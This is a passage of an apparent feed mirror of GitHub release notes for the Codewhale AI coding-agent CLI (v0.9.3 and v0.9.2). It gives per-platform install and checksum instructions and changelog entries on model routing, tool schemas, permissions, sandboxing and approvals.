<code>codewhale-linux-x64.tar.gz</code>
<code>install.sh</code>


Linux ARM64
<code>codewhale-linux-arm64.tar.gz</code>
<code>install.sh</code>


Android ARM64 (Termux)
<code>codewhale-android-arm64.tar.gz</code>
<code>install.sh</code>


macOS x64
<code>codewhale-macos-x64.tar.gz</code>
<code>install.sh</code>


macOS ARM
<code>codewhale-macos-arm64.tar.gz</code>
<code>install.sh</code>


Windows x64 (installer)
<code>CodeWhaleSetup.exe</code>
NSIS setup


Windows x64
<code>codewhale-windows-x64.zip</code>
<code>install.bat</code>


Windows x64 (portable)
<code>codewhale-windows-x64-portable.zip</code>
—


Windows ARM64
<code>codewhale-windows-arm64.zip</code>
<code>install.bat</code>


Windows ARM64 (portable)
<code>codewhale-windows-arm64-portable.zip</code>
—



<p><strong>Unix (Linux / macOS):</strong></p>
<pre>tar xzf codewhale-&lt;platform&gt;.tar.gz
cd codewhale-&lt;platform&gt;
./install.sh</pre>
<p><strong>Windows:</strong></p>
<ul>
<li>For the installer path, run <code>CodeWhaleSetup.exe</code>; it installs <code>codewhale.exe</code>, <code>codew.exe</code>, and <code>codewhale-tui.exe</code> under <code>%LOCALAPPDATA%\Programs\CodeWhale\bin</code> and adds that directory to the current-user PATH.</li>
<li>Extract the archive for your machine: <code>codewhale-windows-x64.zip</code> or<br>
<code>codewhale-windows-arm64.zip</code></li>
<li>Run <code>install.bat</code> (copies to <code>%USERPROFILE%\bin</code>)</li>
<li>Add <code>%USERPROFILE%\bin</code> to your PATH</li>
</ul>
<p>The <strong>portable</strong> Windows archive skips the install script — extract and run from any directory. The NSIS installer is currently unsigned and may trigger Windows SmartScreen until a signing certificate is wired into the release pipeline.</p>
<p>Each platform also has <strong>bare, unarchived</strong> binaries attached below (<code>codewhale-&lt;platform&gt;</code>, <code>codew-&lt;platform&gt;</code>, and <code>codewhale-tui-&lt;platform&gt;</code>) — the npm wrapper and the in-app <code>codewhale update</code> download the matched runtime binaries, whereas the <code>.tar.gz</code> / <code>.zip</code> archives above are the recommended manual download and additionally bundle an install script. The legacy npm package <code>deepseek-tui</code> is deprecated and is not republished. For migration from v0.8.x legacy binary names, see <code>docs/REBRAND.md</code>.</p>
<h3>Verify (recommended)</h3>
<p>Download the checksum manifests from this Release and verify:</p>
<pre># Linux — archive bundles
sha256sum -c codewhale-bundles-sha256.txt --ignore-missing

# Linux — individual binaries
sha256sum -c codewhale-artifacts-sha256.txt --ignore-missing

# macOS
shasum -a 256 -c codewhale-bundles-sha256.txt --ignore-missing
shasum -a 256 -c codewhale-artifacts-sha256.txt --ignore-missing</pre>
<h2>What's in v0.9.3</h2>
<p>This is the Codewhale v0.9.3 source candidate. It is not a published release<br>
until the matching tag, packages, checksums, and release assets exist.</p>
<p>DeepSeek V4 Flash is now a first-class Codewhale route, and the agent-facing<br>
tool surface has been reduced to the canonical action tools that current<br>
models actually need. This release also hardens credential, authorization,<br>
durability, compaction, and macOS File Provider boundaries while deleting<br>
stale runtime and dependency surface.</p>
<h3>Added</h3>
<ul>
<li>Native <code>deepseek-v4-flash</code> support over DeepSeek's Responses API, including<br>
stateless reasoning-item replay, semantic SSE terminal events, structured<br>
function calls and outputs, <code>apply_patch</code>, and model-aware wire-format<br>
selection. Exact current Flash IDs use Responses; future direct<br>
<code>deepseek-vN-*</code> model IDs inherit that route conservatively, while custom<br>
DeepSeek-compatible endpoints retain Chat Completions unless configured<br>
otherwise.</li>
<li>A pipe-only <code>codewhale auth print-api-key</code> handoff for explicitly selected<br>
providers. It shares Codewhale's home-scoped credential authority, refuses<br>
terminal output, and prevents sentinel placeholders from becoming live<br>
credentials.</li>
<li>Per-turn <code>max_tool_calls</code> enforcement at the engine admission gate, plus a<br>
named-file write scope with a separate read seam. The runtime now rejects<br>
over-budget calls before execution and keeps the operator's write boundary<br>
explicit (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4905736065" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4415" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/4415/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/4415">#4415</a>).</li>
<li>Runtime-contract, source-structure, and persistence-backlog ratchets that<br>
name drift instead of allowing large ownership surfaces to grow silently<br>
(<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4795695144" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/3921" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/3921/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/3921">#3921</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4972353345" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4785" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/4785/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/4785">#4785</a>).</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Model-visible built-ins now use the canonical <code>Bash</code>, <code>File</code>, and <code>Run</code><br>
action schemas. <code>apply_patch</code> remains available as the one direct custom<br>
edit tool supported by DeepSeek Responses. The bundled stop-ship workflow,<br>
Fleet fixtures, shell shortcut, and engine tests use the same canonical<br>
vocabulary.</li>
<li>Canonical <code>File { action: "write" }</code> requests now pass through the same<br>
semantic repo-law checks as the former write path. Approval, Full Access,<br>
and workflow execution cannot bypass the repository safety floor by choosing<br>
the canonical schema.</li>
<li>Codewhale home resolution is shared across the CLI, TUI, state, and secret<br>
stores. <code>doctor</code> is offline by default, distinguishes credential source from<br>
availability, and reports one consistent path snapshot.</li>
<li>Durable runtime event writes are serialized across simultaneous processes,<br>
blocking history waits move off async workers, and provider quota exhaustion<br>
remains typed and retryable through compaction (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4918025830" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4522" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/4522/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/4522">#4522</a>).</li>
<li>Skill discovery caches the merged catalog behind watched-mtime validation;<br>
large skill, engine, subagent, UI, and ambient-ocean test blocks now live in<br>
owned test seams.</li>
<li>Reasoning summaries stay in the user's language, complete jellyfish<br>
silhouettes relocate around transcript text, and cached ocean frames include<br>
their palette identity (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4974733387" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4807" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/4807/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/4807">#4807</a>).</li>
<li>The authorization-order contract now documents and tests how modes, hooks,<br>
permission rules, safety floors, repo law, approvals, and sandboxing compose<br>
(PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5015942105" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4980" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4980/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4980">#4980</a>).</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>macOS sandbox extensions cover CloudStorage/File Provider workspaces without<br>
broadening unrelated paths; thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Watcher24/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Watcher24">@Watcher24</a> for the <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4825073094" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4085" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/4085/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/4085">#4085</a> report and<br>
reproduction.</li>
<li>Foreground shell state detaches before steering, so an interrupted command<br>
cannot keep owning the composer (PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5015572650" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4979" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4979/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4979">#4979</a>).</li>
<li>MCP application-level failures and malformed error envelopes fail closed<br>
instead of looking like successful tool output.</li>
<li>Optional PDF failures are truthful and PDF classification no longer misses<br>
supported inputs.</li>
<li>Bracketed-paste contents are redacted from traces, and credential diagnostics<br>
never treat placeholder sentinels as usable keys.</li>
</ul>
<h3>Removed</h3>
<ul>
<li>The legacy callable aliases <code>exec_shell</code>, <code>run_shell_command</code>, <code>read_file</code>,<br>
<code>write_file</code>, <code>list_dir</code>, <code>grep_files</code>, <code>file_search</code>, and the duplicate<br>
Work/RLM registrations. Historical transcript and policy semantics remain<br>
readable, but new model turns receive only the canonical action surface.</li>
<li>The bundled PDF parser dependency chain, replacing it with the smaller<br>
optional extraction boundary tracked by <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4899832700" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4382" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/4382/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/4382">#4382</a>.</li>
</ul>
<h2>Contributors</h2>
<ul>
<li><a href="https://github.com/greyfreedom">Turisla</a> (<code>@greyfreedom</code>) documented and<br>
locked the authorization-order contract in PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5015942105" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4980" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4980/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4980">#4980</a>.</li>
<li><a href="https://github.com/nightt5879">Nightt</a> (<code>@nightt5879</code>) fixed foreground<br>
shell detachment before steering in PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5015572650" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4979" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4979/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4979">#4979</a>.</li>
<li><a href="https://github.com/Watcher24">Watcher24</a> (<code>@Watcher24</code>) provided the macOS<br>
File Provider report and reproduction for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4825073094" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4085" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/4085/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/4085">#4085</a>.</li>
<li><a href="https://github.com/fleitz">Fred Leitz</a> (<code>@fleitz</code>) retains required<br>
source-candidate credit for the canonical <code>Bash</code> workspace fix from PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4942772212" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4673" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4673/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4673">#4673</a><br>
and issue <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4942774746" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4674" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/4674/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/4674">#4674</a>.</li>
</ul>
<p>See <a href="https://github.com/Hmbown/CodeWhale/blob/main/CHANGELOG.md">CHANGELOG.md</a> for full notes and <a href="https://github.com/Hmbown/CodeWhale/blob/main/docs/CHANGELOG_ARCHIVE.md">docs/CHANGELOG_ARCHIVE.md</a> for older releases.</p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[GitHub: v0.9.2]]></title>
<description><![CDATA[Codewhale is the public product from Shannon Labs. The codewhale
command, npm package, and release-asset names remain lowercase technical
identifiers. The legacy npm package deepseek-tui is deprecated and
receives no further releases. Users coming from v0.8.x legacy deepseek /
deepseek-tui names ...]]></description>
<link>https://tsecurity.de/de/3698714/downloads/github-v092/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3698714/downloads/github-v092/</guid>
<pubDate>Mon, 03 Aug 2026 00:12:53 +0200</pubDate>
<content:encoded><![CDATA[<div class="github-feed-entry"><p><strong>Codewhale</strong> is the public product from Shannon Labs. The <code>codewhale</code><br>
command, npm package, and release-asset names remain lowercase technical<br>
identifiers. The legacy npm package <code>deepseek-tui</code> is deprecated and<br>
receives no further releases. Users coming from v0.8.x legacy <code>deepseek</code> /<br>
<code>deepseek-tui</code> names should migrate with <code>docs/REBRAND.md</code>.</p>

<h2>Install</h2>
<h3>Recommended — npm (one command, all three entrypoints)</h3>
<pre>npm install -g codewhale</pre>
<p>The wrapper downloads the matched <code>codewhale</code>, <code>codew</code>, and <code>codewhale-tui</code><br>
binaries from this Release and places them in the same directory.</p>
<h3>Docker / GHCR</h3>
<pre>docker run --rm -it \
  -e DEEPSEEK_API_KEY="$DEEPSEEK_API_KEY" \
  -v codewhale-home:/home/codewhale/.codewhale \
  ghcr.io/hmbown/codewhale:v0.9.2</pre>
<p>The image ships the <code>codewhale</code> dispatcher, <code>codew</code> shim, and <code>codewhale-tui</code> runtime. The <code>latest</code> tag is also updated on release.</p>
<h3>Cargo (Linux / macOS)</h3>
<pre>cargo install codewhale-cli codewhale-tui --locked</pre>
<p>Both crates are required — <code>codewhale-cli</code> produces the <code>codewhale</code> dispatcher and <code>codew</code> shim, while <code>codewhale-tui</code> produces the interactive runtime that the dispatcher delegates to. Installing only one crate will fail at runtime with a <code>MISSING_COMPANION_BINARY</code> error.</p>
<h3>Manual download — platform archives (recommended)</h3>
<p>Each archive below contains the <code>codewhale</code> dispatcher, <code>codew</code> shim, and <code>codewhale-tui</code> runtime, plus an install script:</p>



Platform
Archive
Install script




Linux x64
<code>codewhale-linux-x64.tar.gz</code>
<code>install.sh</code>


Linux ARM64
<code>codewhale-linux-arm64.tar.gz</code>
<code>install.sh</code>


Android ARM64 (Termux)
<code>codewhale-android-arm64.tar.gz</code>
<code>install.sh</code>


macOS x64
<code>codewhale-macos-x64.tar.gz</code>
<code>install.sh</code>


macOS ARM
<code>codewhale-macos-arm64.tar.gz</code>
<code>install.sh</code>


Windows x64 (installer)
<code>CodeWhaleSetup.exe</code>
NSIS setup


Windows x64
<code>codewhale-windows-x64.zip</code>
<code>install.bat</code>


Windows x64 (portable)
<code>codewhale-windows-x64-portable.zip</code>
—


Windows ARM64
<code>codewhale-windows-arm64.zip</code>
<code>install.bat</code>


Windows ARM64 (portable)
<code>codewhale-windows-arm64-portable.zip</code>
—



<p><strong>Unix (Linux / macOS):</strong></p>
<pre>tar xzf codewhale-&lt;platform&gt;.tar.gz
cd codewhale-&lt;platform&gt;
./install.sh</pre>
<p><strong>Windows:</strong></p>
<ul>
<li>For the installer path, run <code>CodeWhaleSetup.exe</code>; it installs <code>codewhale.exe</code>, <code>codew.exe</code>, and <code>codewhale-tui.exe</code> under <code>%LOCALAPPDATA%\Programs\CodeWhale\bin</code> and adds that directory to the current-user PATH.</li>
<li>Extract the archive for your machine: <code>codewhale-windows-x64.zip</code> or<br>
<code>codewhale-windows-arm64.zip</code></li>
<li>Run <code>install.bat</code> (copies to <code>%USERPROFILE%\bin</code>)</li>
<li>Add <code>%USERPROFILE%\bin</code> to your PATH</li>
</ul>
<p>The <strong>portable</strong> Windows archive skips the install script — extract and run from any directory. The NSIS installer is currently unsigned and may trigger Windows SmartScreen until a signing certificate is wired into the release pipeline.</p>
<p>Each platform also has <strong>bare, unarchived</strong> binaries attached below (<code>codewhale-&lt;platform&gt;</code>, <code>codew-&lt;platform&gt;</code>, and <code>codewhale-tui-&lt;platform&gt;</code>) — the npm wrapper and the in-app <code>codewhale update</code> download the matched runtime binaries, whereas the <code>.tar.gz</code> / <code>.zip</code> archives above are the recommended manual download and additionally bundle an install script. The legacy npm package <code>deepseek-tui</code> is deprecated and is not republished. For migration from v0.8.x legacy binary names, see <code>docs/REBRAND.md</code>.</p>
<h3>Verify (recommended)</h3>
<p>Download the checksum manifests from this Release and verify:</p>
<pre># Linux — archive bundles
sha256sum -c codewhale-bundles-sha256.txt --ignore-missing

# Linux — individual binaries
sha256sum -c codewhale-artifacts-sha256.txt --ignore-missing

# macOS
shasum -a 256 -c codewhale-bundles-sha256.txt --ignore-missing
shasum -a 256 -c codewhale-artifacts-sha256.txt --ignore-missing</pre>
<h2>What's in v0.9.2</h2>
<p>This is the Codewhale v0.9.2 source candidate. It is not a published release<br>
until the matching tag, packages, checksums, and release assets exist.</p>
<h3>Changed — behavior</h3>
<ul>
<li>
<p><strong>Legacy <code>model = auto</code> no longer elects a network classifier on its own.</strong><br>
Holding a DeepSeek API key used to silently select <code>deepseek-v4-flash</code> as the<br>
classifier for every Auto turn — a per-turn cost on a route nobody asked for,<br>
and one provider privileged over the rest. Auto now stays local and free<br>
unless an explicit <code>[auto.router]</code> block names a provider and model.</p>
<p><strong>If you relied on the implicit default</strong>, restore it explicitly:</p>
<pre>[auto.router]
provider = "deepseek"
model = "deepseek-v4-flash"</pre>
<p><code>[auto.router]</code> remains legacy <code>model = auto</code> configuration. It is unrelated<br>
to a Fleet's Adaptive Reasoning Router, which is a saved service referenced by<br>
name from a Fleet file and decides only how hard an already-frozen route<br>
thinks.</p>
</li>
</ul>
<p>Landed since v0.9.1, not yet released. A cluster of defects found by a<br>
read-through audit of the policy engine, the MCP proxy, the session index,<br>
and the app-server bridge — several of them cases where the wrong outcome<br>
was reached silently, behind a response or a log line that looked fine. The<br>
release also adds opt-in session, reasoning, localization, and inspectability<br>
surfaces; existing defaults remain stable unless an entry below explicitly<br>
says otherwise.</p>
<h3>Added</h3>
<ul>
<li>
<p><code>/permissions</code> now lists the active user permission-rule source, each rule's<br>
effective matcher and global/repository scope, and whether that scope applies<br>
in the current workspace. <code>/permissions remove &lt;number&gt;</code> previews deletion<br>
and requires a snapshot-bound confirmation token, so a concurrent edit<br>
cannot move a different rule under the confirmed index. Appends and removals<br>
share one adjacent lock, preserve unrelated TOML formatting and comments,<br>
atomically replace <code>permissions.toml</code>, and reload the live user ruleset<br>
without clearing session-only approvals. <code>/config ask-rules</code> remains a<br>
compatibility entry; rule creation, glob/directory rules, and deny<br>
persistence remain out of scope (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4405320727" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/1186" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/1186/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/1186">#1186</a>, PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5005448536" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4960" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4960/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4960">#4960</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/greyfreedom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/greyfreedom">@greyfreedom</a>).</p>
</li>
<li>
<p><code>/preview-request</code> (aliases <code>/dryrun</code> and <code>/preview_request</code>) is a human-only,<br>
provider-free inspection of the next primary turn. Production dispatch and<br>
preview share one prepared-request seam across Chat Completions, Anthropic<br>
Messages, and OpenAI Responses, so the manifest reads the final wire model,<br>
reasoning controls, tool choice, tool schemas, and body hash from the same<br>
value production sends. Route, tool, or body facts that require Auto's<br>
provider classifier, an MCP connection, mutable hooks, compaction, or queued<br>
runtime injections remain typed unavailable. The manifest reports exact<br>
primary role/lane identity, upstream route-source provenance, requested and<br>
effective reasoning, canonical JSON sizes, conservative offline estimates,<br>
and provider-reported usage as unavailable because no request ran. It never<br>
adds a model-visible tool, sends a provider call, or prints prompt, message,<br>
credential, endpoint-path, or workspace-path content. The explicit<br>
<code>/preview-request base-prompt</code> mode prints only the exact effective base<br>
prompt; effective system text remains protected behind its final hash. The<br>
exact body includes the same authoritative transient Work/To-do tail used by<br>
production, including graph-backed state newer than the legacy projection.<br>
Preflight preserves production's separately framed base-plus-Work estimate,<br>
and fails closed when the authoritative projection is unavailable. An<br>
exhausted active goal token budget also produces a typed unavailable result<br>
before any outbound request is built.<br>
(<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4397420761" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/1004" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/1004/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/1004">#1004</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4795706544" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/3928" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/3928/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/3928">#3928</a>; dry-run concept harvested from PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4402532155" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/1099" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/1099/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/1099">#1099</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/GTC2080/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/GTC2080">@GTC2080</a> / TaoMu.)</p>
</li>
<li>
<p>Slash commands, hotbar actions, and CLI entrypoints for the same Lane/Fleet<br>
lifecycle operation now share one typed control-plane contract<br>
(<code>codewhale-lane::control</code>): a stable <code>&lt;domain&gt;.&lt;verb&gt;</code> id, read-vs-write<br>
authority, persistence scope, exact-identity target selection, retryability,<br>
lifecycle outcome, and one bounded, sanitized receipt. <code>docs/COMMAND_CONTROL_PLANE.md</code><br>
documents it (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4493398569" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/1888" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/1888/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/1888">#1888</a>).</p>
</li>
<li>
<p><code>/lane [list|status|interrupt|restart|resume]</code> — durable Lane control from the<br>
composer, backed by the same executor <code>codewhale lane …</code> calls. <code>codewhale lane interrupt|restart|resume</code> are the matching CLI verbs; <code>lane stop</code> stays as<br>
a compatibility spelling of <code>lane interrupt</code>. Appending <code>@&lt;lifecycle-seq&gt;</code> to a<br>
lane id fences a write to the exact durable generation you observed, so a<br>
concurrent transition is rejected as a conflict rather than acted on (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4493398569" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/1888" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/1888/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/1888">#1888</a>).</p>
</li>
<li>
<p><code>codewhale fleet list</code> and <code>/fleet [list|status|interrupt|resume]</code> — durable<br>
Fleet run inspection and control from either surface, through shared DTOs that<br>
carry the exact provider, provider-table id, model, effective reasoning tier,<br>
and route source when the ledger records them, and a typed <code>not_recorded</code> /<br>
<code>not_applicable</code> / <code>redacted</code> reason when it does not. Requested-vs-effective<br>
reasoning is never back-filled: the ledger persists the effective tier only, so<br>
the requested tier reports <code>not_recorded</code> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4806482543" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4022" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/4022/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/4022">#4022</a>).</p>
</li>
<li>
<p>The bundled skill pack now ships a <code>help</code> skill (catalog generation 7). It is<br>
<code>invocation: explicit-only</code>, so it never enters the model's ambient catalogue<br>
and costs no prompt budget. Its body is a routing card that points at the<br>
surfaces this build actually exposes — <code>/help</code> and <code>/help &lt;command&gt;</code>,<br>
<code>/skills</code> and <code>/skills inspect</code>, <code>/config</code>, <code>doctor</code>, and the <code>docs/</code> tree<br>
when the workspace is a Codewhale checkout — and explicitly forbids pasting a<br>
command list or settings table into context (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4952684637" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4698" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/4698/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/4698">#4698</a>).</p>
</li>
<li>
<p><code>crates/tui/assets/skills-catalog-matrix.json</code>: an authored, provider-free<br>
expectation matrix covering every bundled skill (tier, invocation, aliases,<br>
ambient-catalogue eligibility, shadowed aliases). Contract tests in<br>
<code>crates/tui/src/skills/catalog_matrix.rs</code> assert a bijection between the<br>
fixture and the shipped bundle, so the starter pack cannot change without an<br>
explicit fixture update. The matrix covers positive eligibility and explicit<br>
load, non-activation negatives, alias resolution, explicit-only exclusion,<br>
alias-vs-canonical collision precedence, and prompt-budget invariants (no<br>
duplicate catalogue entries, no aliases as extra entries, and the shipped<br>
pack fitting inside the 12 000-char budget with no omitted-skills line). These<br>
are deterministic registry/catalog/resolver assertions and make no claim about<br>
semantic model routing (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4952684637" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4698" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/4698/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/4698">#4698</a>).</p>
</li>
<li>
<p>Locale-routing coverage for the complete bundled catalog across every shipped<br>
locale (<code>en</code>, <code>ja</code>, <code>zh-Hans</code>, <code>zh-Hant</code>, <code>pt-BR</code>, <code>es-419</code>, <code>vi</code>, <code>ko</code>). No<br>
bundled skill ships a localized routing description and none was invented;<br>
the tested contract is deterministic fallback to the canonical English<br>
description, with the rendered catalogue byte-identical across locales.<br>
Exact-tag match, primary-subtag fallback, and English fallback are covered<br>
against a synthetic authored fixture, and the parity test fails if a bundled<br>
skill ever gains localized metadata without source-backed coverage (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4952684637" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4698" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/4698/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/4698">#4698</a>).</p>
</li>
<li>
<p><code>docs/LIVE_SMOKE.md</code>: copy-pasteable, opt-in live-smoke instructions for Kimi<br>
K3 and a second provider/model (DeepSeek). The runs are manual only — nothing<br>
in CI, tests, or skills invokes them. They use <code>env -i</code> plus a throwaway<br>
<code>CODEWHALE_HOME</code>; <code>HOME</code> is left unset rather than repurposed, and ambient<br>
provider variables are not forwarded. The operator names the credential<br>
variable explicitly, and the isolated child reads its value with echo off,<br>
restores the prior terminal state on exit or interruption, and never persists<br>
the value or puts it in a command argument. The page states the expected<br>
route/model/reasoning/tool receipt fields while treating provider errors as<br>
unclassified until provider configuration, authentication/entitlement, and<br>
harness behavior have been corroborated independently (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4952684637" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4698" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/4698/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/4698">#4698</a>).</p>
</li>
<li>
<p>Approval cards can now remember eligible safe shell and file-write approvals<br>
as exact <code>allow</code> rules scoped to the current repository. Remembered shell<br>
commands use complete-command matching, validated file and patch paths remain<br>
workspace-relative, and dangerous, critical, or repo-law-held requests stay<br>
ineligible and continue to require review.</p>
</li>
<li>
<p><code>tui.header_items</code> (array of strings, optional, default <code>[]</code>): an opt-in<br>
header chip showing cumulative session token usage as input / cache-hit /<br>
output. Set <code>header_items = ["tokens"]</code> under <code>[tui]</code> to enable it. The<br>
chip is the only elidable element of the header — the git label, context<br>
meter, and version stamp keep their space, and narrow terminals drop the<br>
chip rather than the baseline chrome. Unknown entries are warned about and<br>
skipped so configs written by newer builds stay loadable by older ones<br>
(<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4917572841" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4520" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/4520/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/4520">#4520</a> requested by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eugenicum/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eugenicum">@eugenicum</a>; PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4927377309" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4610" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4610/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4610">#4610</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/XhesicaFrost/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/XhesicaFrost">@XhesicaFrost</a>, harvested with<br>
co-authorship).</p>
</li>
<li>
<p><code>thinking_default_expanded</code> lets reasoning blocks start open while keeping<br>
Space as the per-block toggle. The setting is persisted, available through<br>
native and runtime configuration, and documented for SSH/tmux accessibility<br>
